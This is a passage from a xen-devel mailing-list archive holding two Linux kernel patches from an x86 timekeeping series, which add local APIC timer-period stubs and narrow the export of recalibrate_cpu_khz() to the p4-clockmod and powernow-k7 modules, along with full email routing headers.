 arch/x86/kernel/cpu/vmware.c                  |  19 +-
 arch/x86/kernel/jailhouse.c                   |   9 +-
 arch/x86/kernel/kvm.c                         | 101 ++++++--
 arch/x86/kernel/kvmclock.c                    | 208 +++++++++++------
 arch/x86/kernel/pvclock.c                     |   9 +-
 arch/x86/kernel/tsc.c                         | 218 +++++++++++-------
 arch/x86/kernel/tsc_msr.c                     |   4 +-
 arch/x86/kernel/x86_init.c                    |   2 -
 arch/x86/mm/mem_encrypt_amd.c                 |   3 -
 arch/x86/xen/time.c                           |  14 +-
 drivers/clocksource/hyperv_timer.c            |  38 ++-
 include/clocksource/hyperv_timer.h            |   2 -
 kernel/time/timekeeping.c                     |   9 +-
 29 files changed, 540 insertions(+), 321 deletions(-)


base-commit: dc59e4fea9d83f03bad6bddf3fa2e52491777482
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350365.1607825 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fg-00080K-7V; Wed, 01 Jul 2026 19:32:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350365.1607825; Wed, 01 Jul 2026 19:32:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fg-00080D-4O; Wed, 01 Jul 2026 19:32:32 +0000
Received: by outflank-mailman (input) for mailman id 1350365;
 Wed, 01 Jul 2026 19:32:30 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3S2tFagYKCZACyu73w08805y.w86Hy7-xyFy552CDC.Hy79B83ywD.8B0@flex--seanjc.bounces.google.com>)
 id 1wf0fe-0007vn-Nh
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0fe-004o0g-4Z
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:30 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3S2tFagYKCZACyu73w08805y.w86Hy7-xyFy552CDC.Hy79B83ywD.8B0@flex--seanjc.bounces.google.com>)
 id 6a456b30-2eae-0a2a0a5409dd-0a2a4503b1b4-16
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:30 +0200
Received: from [209.85.214.202] (helo=mail-pl1-f202.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3S2tFagYKCZACyu73w08805y.w86Hy7-xyFy552CDC.Hy79B83ywD.8B0@flex--seanjc.bounces.google.com>)
 id 6a456b4c-ec1a-0a2a45030019-d155d6cab929-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:29 +0200
Received: by mail-pl1-f202.google.com with SMTP id
 d9443c01a7336-2c9960cf96cso12682655ad.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:29 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934348; x=1783539148; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=t7xFvhsXyUl34us7SMoRDgC7NN8K9lGkg6/G6zp7sLk=;
        b=uDgtrHaJ6ZBuPOkMrZLDVdCcpygN6+1xPMKD3qnf9JAU3vNFS69xLZDPEfT4C9CAcO
         roT0NWYcs0n7KfI2EZ08ijqTEcDfrg2PwATjpdwThh8Xg/wnN135gQUlrS3GDWaRTVt0
         9D6BzSm1dfKTTRixyGbg3k803jhT2S0u+AKdMTe7K9vuiabe4OriVJeX4l3HB3QpWAYn
         b/H9scq8Ehlir0V4F3eUMUINw9YN4K2jtOm1mW7oQccLpg8eDwD0tX3fX5UjSLOm9MeF
         Hk9ZdaHnMJ1KOGh2taskaqQIqEv7tlSdENbIJEdySWQp9OtcK8SMtzntmc6eMivgjHz0
         fsvg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934348; x=1783539148;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=t7xFvhsXyUl34us7SMoRDgC7NN8K9lGkg6/G6zp7sLk=;
        b=YrKSEftd2pq4hZQF6oK10bBwzKyGcbIb7seO/9ZELyhb05GP6eoymYhoC/vA6epTec
         7QFdlvJNrSbjPOJoEdWjhk6Y1Q6MGC3JA+myKzQl+Lu9AL5nt5LlcY6MZyxE1ax02xrI
         XQgU54aN74ut01hb9+xAhEw+OKMxxOjli+FregI29yahh1zALVvqi4ETFqwQusW5IhKM
         jk5pGe/AYEgYgOV2RR5vMvz6Xjmu74Km70YTynBBTTYBZU4RcTVDrHqtvgcB1RHjUl0F
         TtxEPV+WeugNPhfBjXfnvc3ugoXLhjDAZzktLBXs1gJjkB/yCaVFkiq8CDH8Pi1jIfT7
         vEkA==
X-Forwarded-Encrypted: i=1; AHgh+RqbFCEdd8JhaoUSuo3/AZ9XGNgbxk+oJyckGBf7zxXw34Bx4SCttxfCe/sBYgDokLglKIIgROwEQek=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwPTlOK5mplBXHpBWw8KApJZ+oDIjKvj21VX/g4T2Myy5eIXR92
	3fqLNPiqisX3wd+s/hvTRKaBJwUK2Ilg3jGdhjauiWraxpUevsh7YAdprCaA8QobnUmu0TYn0Yj
	Hi/3aBg==
X-Received: from plbmk12.prod.google.com ([2002:a17:903:2bcc:b0:2c8:219a:17e8])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:903:19d0:b0:2ca:53e9:1277
 with SMTP id d9443c01a7336-2ca7e714f7fmr32655485ad.1.1782934347423; Wed, 01
 Jul 2026 12:32:27 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:23 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-3-seanjc@google.com>
Subject: [PATCH v5 02/51] x86/apic: Add CONFIG_X86_LOCAL_APIC=n stubs for apic_set_timer_period_{,k}hz()
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-33051d/1782934350-077265D1-D715471B/0/0
X-purgate-type: clean
X-purgate-size: 3082

Add stubs for the apic_set_timer_period_{,k}hz() APIs when the kernel is
built without support for a local APIC, and drop #ifdefs in callers that
don't need to check CONFIG_X86_LOCAL_APIC for other reasons.

No functional change intended.

Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/include/asm/apic.h  | 2 ++
 arch/x86/kernel/cpu/vmware.c | 2 --
 arch/x86/kernel/tsc.c        | 2 --
 arch/x86/kernel/tsc_msr.c    | 2 --
 4 files changed, 2 insertions(+), 6 deletions(-)

diff --git a/arch/x86/include/asm/apic.h b/arch/x86/include/asm/apic.h
index cd84a94688a2..035998555e99 100644
--- a/arch/x86/include/asm/apic.h
+++ b/arch/x86/include/asm/apic.h
@@ -189,6 +189,8 @@ static inline void disable_local_APIC(void) { }
 # define setup_boot_APIC_clock x86_init_noop
 # define setup_secondary_APIC_clock x86_init_noop
 static inline void lapic_update_tsc_freq(void) { }
+static inline void apic_set_timer_period_hz(u64 period_hz, const char *source) { }
+static inline void apic_set_timer_period_khz(u64 period_khz, const char *source) { }
 static inline void init_bsp_APIC(void) { }
 static inline void apic_intr_mode_select(void) { }
 static inline void apic_intr_mode_init(void) { }
diff --git a/arch/x86/kernel/cpu/vmware.c b/arch/x86/kernel/cpu/vmware.c
index 36f779dd311d..13b97265c535 100644
--- a/arch/x86/kernel/cpu/vmware.c
+++ b/arch/x86/kernel/cpu/vmware.c
@@ -422,10 +422,8 @@ static void __init vmware_platform_setup(void)
 		x86_platform.calibrate_tsc = vmware_get_tsc_khz;
 		x86_platform.calibrate_cpu = vmware_get_tsc_khz;
 
-#ifdef CONFIG_X86_LOCAL_APIC
 		/* Skip lapic calibration since we know the bus frequency. */
 		apic_set_timer_period_hz(ecx, "VMware hypervisor");
-#endif
 	} else {
 		pr_warn("Failed to get TSC freq from the hypervisor\n");
 	}
diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index f9ecc9256863..4d6a446645c0 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -710,7 +710,6 @@ unsigned long native_calibrate_tsc(void)
 	if (boot_cpu_data.x86_vfm == INTEL_ATOM_GOLDMONT)
 		setup_force_cpu_cap(X86_FEATURE_TSC_RELIABLE);
 
-#ifdef CONFIG_X86_LOCAL_APIC
 	/*
 	 * The local APIC appears to be fed by the core crystal clock
 	 * (which sounds entirely sensible). We can set the global
@@ -718,7 +717,6 @@ unsigned long native_calibrate_tsc(void)
 	 * timer later.
 	 */
 	apic_set_timer_period_khz(crystal_khz, "CPUID 0x15/0x16");
-#endif
 
 	return crystal_khz * ebx_numerator / eax_denominator;
 }
diff --git a/arch/x86/kernel/tsc_msr.c b/arch/x86/kernel/tsc_msr.c
index 7e990871e041..aece062aee7e 100644
--- a/arch/x86/kernel/tsc_msr.c
+++ b/arch/x86/kernel/tsc_msr.c
@@ -210,9 +210,7 @@ unsigned long cpu_khz_from_msr(void)
 	if (freq == 0)
 		pr_err("Error MSR_FSB_FREQ index %d is unknown\n", index);
 
-#ifdef CONFIG_X86_LOCAL_APIC
 	apic_set_timer_period_khz(freq, "MSR_FSB_FREQ");
-#endif
 
 	/*
 	 * TSC frequency determined by MSR is always considered "known"
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350367.1607844 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fk-0008W3-L6; Wed, 01 Jul 2026 19:32:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350367.1607844; Wed, 01 Jul 2026 19:32:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fk-0008Vs-Hl; Wed, 01 Jul 2026 19:32:36 +0000
Received: by outflank-mailman (input) for mailman id 1350367;
 Wed, 01 Jul 2026 19:32:34 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3T2tFagYKCZQG2yB704CC492.0CAL2B-12J2996GHG.L2BDFC720H.CF4@flex--seanjc.bounces.google.com>)
 id 1wf0fi-0008Qn-Jj
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0fi-004o0g-0k
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:34 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3T2tFagYKCZQG2yB704CC492.0CAL2B-12J2996GHG.L2BDFC720H.CF4@flex--seanjc.bounces.google.com>)
 id 6a456b30-2eae-0a2a0a5409dd-0a2a4503b1b4-28
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:34 +0200
Received: from [209.85.210.202] (helo=mail-pf1-f202.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3T2tFagYKCZQG2yB704CC492.0CAL2B-12J2996GHG.L2BDFC720H.CF4@flex--seanjc.bounces.google.com>)
 id 6a456b50-ec1a-0a2a45030019-d155d2caa8c0-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:33 +0200
Received: by mail-pf1-f202.google.com with SMTP id
 d2e1a72fcca58-8478e603285so1932638b3a.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:33 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934352; x=1783539152; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=s/QSbcUaf8Mr1OX5FYkbnza8ilhhfuHPZoXwnM4X05U=;
        b=Vu7hJsLUEeYgH9PkViNQa5T4fMdukUhG9CkXMzhozwgwQPGZsGUrs07H4nnKkHcy82
         cfrd6TO/1M9j1+36W8ACqO6SsM4id9SmQnb5zESEPNDQaMjKqe3V8yww1vVva8+jc2y2
         1b7mksdfCcWHu4+kSNIzCe2TXb9yniEbfgL6C3Mq7gT8d9dcSiaGLqYCYYbbr0w10OdU
         PreOoqHxI9Uux959TBO8MeA4sI3sj6EG+n/BYhimwYZ7/NEtmmI0PRMk2FayybAyFYrA
         aiWARAhQ0t7oZSh4QKptv/T12oQEKUX/FsjJ5h8Rh+z4ruzE7zbhWtc5xSMFbX+vHgly
         7z5Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934352; x=1783539152;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=s/QSbcUaf8Mr1OX5FYkbnza8ilhhfuHPZoXwnM4X05U=;
        b=bzMtHaFNoIy5thsL3yi8dxljExlfzF9B+Fv228qMP+SNNv30jR03cW+RheYvkQbikQ
         9BmH5JsvtssYA457At3wPniSKrNAVjRgCULfGz2zENVnWGRvS0046LAZ4rshWD8U5hVc
         vgPazRzeYouBomZHCGSxvT/weOxkoWX8Dt7137zLB/1M6cCadWaaadtnGjOFCnecOEhs
         QzPCetS+WZGdi2m1IWFzcga5JGli+4ybHh6K8D81ige/uU87/U9grhL5dVFq8RMOXCay
         djNstwAJo1reOCRifa/OkX6cFv9dUkA9BDQ9yEBREjDAOFlnoCI66pVv5NyPnQPtEARN
         9sFA==
X-Forwarded-Encrypted: i=1; AHgh+Rp2Ad7W+rHkajwkWikFdLRfAa1MlwggctIE6f6BG+pF7RyPpAqblHDjLzuP4NUuGA6uSCQyqZ1pdCA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyWlh6Sv0Y3uE1wisMamqpBvXFlpJ2FZcETAY/lUvT+x3M24zkl
	Uojq+fDWjxhL0+Yq9p/AX4klboIUnoX5RSTgu8UXiVUrIDCTw9SNLABBzqJXmWDNq0KTbvanBhl
	kN/78PQ==
X-Received: from pfbhc3.prod.google.com ([2002:a05:6a00:6503:b0:846:aff8:5614])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a00:3e10:b0:842:499d:450e
 with SMTP id d2e1a72fcca58-847a82d978dmr5886277b3a.20.1782934351240; Wed, 01
 Jul 2026 12:32:31 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:25 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-5-seanjc@google.com>
Subject: [PATCH v5 04/51] x86/tsc: Restrict recalibrate_cpu_khz() export to
 p4-clockmod and powernow-k7
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-33051d/1782934353-B4D805D1-24BC8097/0/0
X-purgate-type: clean
X-purgate-size: 837

Export recalibrate_cpu_khz() only for its two users, p4-clockmod.ko and
powernow-k7.ko, to help document that recalibration is relevant only to
ancient CPUs.

For all intents and purposes, no functional change intended.

Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/tsc.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index 4393902c0ddd..482cc3a8999a 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -943,7 +943,7 @@ void recalibrate_cpu_khz(void)
 						    cpu_khz_old, cpu_khz);
 #endif
 }
-EXPORT_SYMBOL_GPL(recalibrate_cpu_khz);
+EXPORT_SYMBOL_FOR_MODULES(recalibrate_cpu_khz, "p4-clockmod,powernow-k7");
 
 
 static unsigned long long cyc2ns_suspend;
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350368.1607853 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fm-0000Kp-0C; Wed, 01 Jul 2026 19:32:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350368.1607853; Wed, 01 Jul 2026 19:32:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fl-0000KQ-P8; Wed, 01 Jul 2026 19:32:37 +0000
Received: by outflank-mailman (input) for mailman id 1350368;
 Wed, 01 Jul 2026 19:32:35 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3UGtFagYKCZUH3zC815DD5A3.1DBM3C-23K3AA7HIH.M3CEGD831I.DG5@flex--seanjc.bounces.google.com>)
 id 1wf0fj-0008Ts-It
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0fi-00Bw10-Vq
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:34 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3UGtFagYKCZUH3zC815DD5A3.1DBM3C-23K3AA7HIH.M3CEGD831I.DG5@flex--seanjc.bounces.google.com>)
 id 6a456b21-bab6-0a2a0a5309dd-0a2a45079628-28
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:34 +0200
Received: from [209.85.216.74] (helo=mail-pj1-f74.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3UGtFagYKCZUH3zC815DD5A3.1DBM3C-23K3AA7HIH.M3CEGD831I.DG5@flex--seanjc.bounces.google.com>)
 id 6a456b51-9c8e-0a2a45070019-d155d84ac9d3-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:34 +0200
Received: by mail-pj1-f74.google.com with SMTP id
 98e67ed59e1d1-37e1f96b248so1287066a91.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934353; x=1783539153; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=a+o8BZyrs+hCKgt2M2jOo1gfN0drsi4lQngccMqCRwE=;
        b=h/Rm6+y+Pp6Q/agCeGZC28rgA/WNNn+KFwWOBczsonXYZxxbOglKeUDl8rVU6mp9dq
         bpcZvMl6TcU3iyWNBysRkfFMMYhVdzpmzKhXAtjdfBhFCb5guvHVl6tI/Rd1umioqdVx
         rT9d1I671tujKR6Rn+MKWTJLAmwQntPo87sc2BjrhWdNxnFs+Doo3cBQZ2gNDiLIgwJr
         aNWgwYqDLGARM14sEwXYkjrinje3PDdppFMh5bXU79RWKUt6KQLz9gVugGN/1SYwny2b
         7JvrPp93YdIk3j1qewZoDzYtw77pak/3q+RKC9i9VgDoY2K2943kQAokTMQkV1pXoAeP
         7VFg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934353; x=1783539153;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=a+o8BZyrs+hCKgt2M2jOo1gfN0drsi4lQngccMqCRwE=;
        b=tB5nSITjOEpCepPJ/T5vfguIjdGSL1L4z+7LjAFCDrQK9D8yn6OKdHrg/hHrl+Hjbn
         6jyYSprIgnsjwEowDwGnn0Eajtr2S/PIMQi/DoG6NMuOikaxMQySmZ9NvlMLESXArXs3
         rhCam/j9LMsKP+Wi2xcCVR8nQ5T007i/VKcKMGR7TTzxO9DZ3RMDPDiUu/cTux8ywTN2
         9g8LKz7w5xOrET7v0h6SugpkIRf1dgLnNP5m+UAXdfSQ/ZQpBPWisuiuGkYPX3dG/7oA
         OK5JsJIa50NDMBzVxXgbQqvJhTFWqRLeOZF/tLgOKMx6FfZV+QgREuxNpIHprjqv5VgC
         c+Qg==
X-Forwarded-Encrypted: i=1; AHgh+RpOgmX5Stjop8s46m/IcD84h4QN3N/AC/ssOc17knfsum2bj/Aaq1dAPi8K50J38PB8z10FuTp0Fo0=@lists.xenproject.org
X-Gm-Message-State: AOJu0Ywn0kTAkcrf7T2E/ykUKg/spNHwXOqO0Rnej8/idcR9d8lm86uU
	YnUIRmzcr8NKlYBEdsxb7n5roM4jE+GUV8PcLGrLxKlycIirXApWnx7EhjKfalXHndKBaBWt2+Z
	OXgGkQQ==
X-Received: from pja11.prod.google.com ([2002:a17:90b:548b:b0:37e:1dd6:f70c])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:90b:28c4:b0:37f:9ce0:af32
 with SMTP id 98e67ed59e1d1-380aa204608mr2862792a91.29.1782934352462; Wed, 01
 Jul 2026 12:32:32 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:26 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
